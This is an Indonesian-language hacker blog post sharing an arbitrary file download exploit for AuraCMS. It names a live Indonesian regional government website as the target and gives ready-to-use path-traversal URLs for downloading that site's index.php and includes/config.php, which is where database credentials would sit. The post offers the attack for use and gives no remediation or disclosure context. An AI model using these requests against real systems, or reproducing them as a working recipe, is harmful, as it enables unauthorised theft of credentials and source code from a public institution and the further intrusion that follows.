-
Hai sobat.
Saya ikal,
Disini saya akan share afd lagi nih xixix
-
Apa itu AuraCMS?
http://mysysteminformationais.blogspot.com/2017/03/sejarah-aura-cms-aura-adalahkarya-anak.html
Yaps. Akhir akhir ini artikel nya tentang arbitrary file download terus :D. Gpp lah.
Langsung saja.
Live target :
http://gatotkaca.kulonprogokab.go.id/simak/unduh.php?file=
Exploitation to get Index file :
http://gatotkaca.kulonprogokab.go.id/simak/unduh.php?file=../index.php
Exploitation to get Config file :
http://gatotkaca.kulonprogokab.go.id/simak/unduh.php?file=../includes/config.php
Sekali lagi, untuk yang belum paham cara memanfaatkan bug ini. Silakan baca artikel sebelumnya.
Thanks
See u
